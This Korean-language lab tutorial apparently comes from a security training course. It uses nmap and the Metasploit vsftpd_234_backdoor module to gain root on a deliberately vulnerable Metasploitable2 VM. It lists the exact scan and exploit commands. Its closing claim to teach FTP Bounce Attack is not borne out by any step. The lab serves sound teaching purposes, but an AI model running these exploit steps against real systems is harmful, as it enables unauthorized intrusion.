소개
이 랩에서는 파일 전송 프로토콜 (FTP) 서비스의 취약점을 악용하여 대상 머신에 무단으로 접근하는 방법을 배우게 됩니다. 이 시나리오는 사이버 보안 컨텍스트에서 설정되며, 취약한 FTP 서버의 취약점을 식별하고 악용하는 임무를 맡은 윤리적 해커의 역할을 수행하게 됩니다.
이 랩의 목표는 FTP 서비스 취약점을 활용하고, 인기 있는 침투 테스트 도구인 Metasploit Framework 를 사용하여 Metasploitable2 대상 머신에 root 권한으로 접근하는 것입니다. 이 실습을 통해 FTP Bounce Attack, 포트 스캔 기술, 그리고 Metasploit 을 사용한 익스플로잇 프로세스에 대한 더 깊은 이해를 얻게 될 것입니다.
랩 환경 설정
이 단계에서는 공격자 역할을 하는 Kali Linux 머신과 대상 역할을 하는 Metasploitable2 머신으로 구성된 랩 환경을 설정합니다.
- 터미널에서 다음 명령을 실행하여 Metasploitable2 가상 머신을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.
- Metasploitable2 머신이 실행 중인지 확인하기 위해 ping 을 수행합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
- Kali Linux 컨테이너를 시작하고 bash 쉘에 진입합니다.
docker run -ti --network host b5b709a49cd5 bash
- Kali Linux 컨테이너와 Metasploitable2 머신 간의 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며, 침투 테스트를 시작할 수 있습니다.
참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 진입하여 실험을 계속할 수 있습니다.
포트 스캔 수행
이 단계에서는 Nmap 스캔 도구를 사용하여 Metasploitable2 대상 머신에서 실행 중인 열린 포트와 서비스를 식별합니다.
- Metasploit 에 필요한 PostgreSQL 데이터베이스 서비스를 시작합니다.
service postgresql start
- Metasploit 데이터베이스를 초기화합니다.
msfdb init
- Metasploit Framework 콘솔을 시작합니다.
cd ~
msfconsole
- Nmap 을 사용하여 대상 머신을 스캔하고 열린 포트를 식별합니다.
nmap -sV -T4 192.168.122.102
-sV 옵션은 열린 포트에 대한 버전 감지를 활성화하고, -T4는 더 빠른 스캔을 위한 타이밍 정책을 설정합니다.
Metasploit 콘솔을 종료한 다음 검사를 시작하려면 Ctrl+D 를 누르십시오.
FTP 서비스 취약점 공격
이 단계에서는 식별된 FTP 서비스 취약점을 활용하여 Metasploitable2 대상 머신에 무단으로 접근합니다.
- 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
- Metasploit 에서 FTP 스캐너 모듈을 검색합니다.
search scanner/ftp
ftp_version모듈을 사용하여 FTP 서비스를 스캔합니다.
use auxiliary/scanner/ftp/ftp_version
- 스캔을 위한 대상 호스트를 설정합니다.
set RHOSTS 192.168.122.102
- FTP 버전 스캔을 실행합니다.
exploit
- 식별된 FTP 버전을 기반으로 해당 악용 모듈을 검색합니다.
search vsFTPd
vsftpd_234_backdoor모듈을 사용하여 취약점을 악용합니다.
use exploit/unix/ftp/vsftpd_234_backdoor
- 악용을 위한 대상 호스트를 설정합니다.
set RHOST 192.168.122.102
- 악용을 실행합니다.
exploit
Metasploit 콘솔을 종료한 다음 검사를 시작하려면 Ctrl+D 를 누르십시오.
공격 성공 여부 확인
이 단계에서는 악용이 성공적으로 이루어졌는지, 그리고 Metasploitable2 대상 머신에 대한 root 권한을 얻었는지 확인합니다.
- 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
- 현재 사용자를 확인합니다.
whoami
- 침해된 머신의 호스트 이름을 확인합니다.
hostname
- 침해된 머신의 IP 주소를 확인합니다.
ifconfig
Metasploit 콘솔을 종료한 다음 검사를 시작하려면 Ctrl+D 를 누르십시오.
요약
이 랩에서는 FTP 서비스 취약점을 악용하여 대상 머신에 무단으로 접근하는 방법을 배웠습니다. 취약한 Metasploitable2 머신과 Kali Linux 공격 머신으로 랩 환경을 설정했습니다. Nmap 을 사용하여 포트 스캔을 수행하여 열린 포트와 서비스를 식별한 다음, Metasploit Framework 를 활용하여 식별된 FTP 서비스 취약점을 악용했습니다. 마지막으로, 침해된 머신의 현재 사용자, 호스트 이름 및 IP 주소를 확인하여 성공적인 악용을 확인했습니다.
이러한 실습 경험을 통해 취약점 식별 및 악용, Nmap 및 Metasploit 과 같은 인기 있는 사이버 보안 도구 사용, 그리고 FTP Bounce Attack 기술에 대한 실질적인 지식과 기술을 습득했습니다. 이러한 기술은 윤리적 해커와 사이버 보안 전문가가 시스템 및 네트워크의 보안 상태를 평가하고 강화하는 데 필수적입니다.



